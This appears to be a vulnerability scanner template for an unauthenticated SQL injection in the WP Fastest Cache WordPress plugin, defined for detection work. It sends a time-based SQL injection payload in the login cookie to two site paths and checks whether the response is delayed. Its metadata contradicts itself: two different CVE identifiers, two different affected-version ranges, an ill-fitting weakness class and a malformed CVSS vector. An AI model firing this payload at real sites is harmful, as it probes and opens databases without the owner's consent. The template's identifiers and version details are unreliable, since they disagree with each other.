id: cve-2023-4723 info: name: WP Fastest Cache <= 1.2.2 - Unauthenticated SQL Injection author: Arpeet & DK severity: critical description: | The WP Fastest Cache plugin for WordPress is vulnerable to SQL Injection via the '$username' variable retrieved via user cookies in all versions up to, and including, 1.2.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. reference: - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2993550%40wp-fastest-cache&new=2993550%40wp-fastest-cache&sfp_email=&sfph_mail= - https://plugins.svn.wordpress.org/wp-fastest-cache/tags/1.2.2/readme.txt - https://wpscan.com/blog/unauthenticated-sql-injection-vulnerability-addressed-in-wp-fastest-cache-1-2-2/ classification: cvss-metrics: CVSS:9.8/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-6063 cwe-id: CWE-200 requests: - raw: - | GET /wp-content/plugins/wp-fastest-cache/readme.txt HTTP/1.1 Host: {{Hostname}} Cookie: wordpress_logged_in=" AND (SELECT 123 FROM (SELECT(SLEEP(5)))TEST) AND "1"="1; User-Agent: Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.9.0.4) Gecko/2008111710 Firefox/3.0.4 - | GET /wp-login.php HTTP/1.1 Host: {{Hostname}} Cookie: wordpress_logged_in=" AND (SELECT 123 FROM (SELECT(SLEEP(5)))TEST) AND "1"="1; User-Agent: Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.9.0.4) Gecko/2008111710 Firefox/3.0.4 matchers-condition: and matchers: - type: dsl dsl: - 'duration>=5' - type: status status: - 200